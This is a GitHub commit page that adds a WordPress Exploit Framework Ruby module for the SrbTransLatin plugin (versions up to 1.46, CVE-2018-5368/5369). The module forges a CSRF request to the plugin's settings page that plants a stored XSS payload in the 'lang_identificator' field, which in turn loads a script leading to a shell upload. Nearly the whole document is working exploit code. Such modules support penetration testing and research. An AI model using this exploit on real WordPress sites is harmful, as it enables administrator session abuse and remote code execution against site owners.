Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 7ef8ac0

Browse files
committed
Add srbtranslatin <= 1.46 CSRF stored XSS shell upload
1 parent 90af8ca commit 7ef8ac0

File tree

1 file changed

+42
-0
lines changed

1 file changed

+42
-0
lines changed
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::SrbtranslatinCsrfXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StagedReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'SrbTransLatin <= 1.46 CSRF Stored XSS Shell Upload',
11+
author: [
12+
'd4wner', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2018-5368'],
17+
['CVE', '2018-5369'],
18+
['WPVDB', '9004']
19+
],
20+
date: 'Jan 11 2018'
21+
)
22+
end
23+
24+
def check
25+
check_plugin_version_from_changelog('srbtranslatin', 'readme.txt', '1.47')
26+
end
27+
28+
def vulnerable_url
29+
"#{normalize_uri(wordpress_url_admin, 'options-general.php')}?page=srbtranslatoptions"
30+
end
31+
32+
def initial_script
33+
create_basic_post_script(
34+
vulnerable_url,
35+
'lang_identificator' => "script\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
36+
'stl_default_language' => 'cir',
37+
'file_lang_delimiter' => '=',
38+
'sanitize_file_names' => 'on',
39+
'Submit' => 'Update Options'
40+
)
41+
end
42+
end

0 commit comments

Comments
 (0)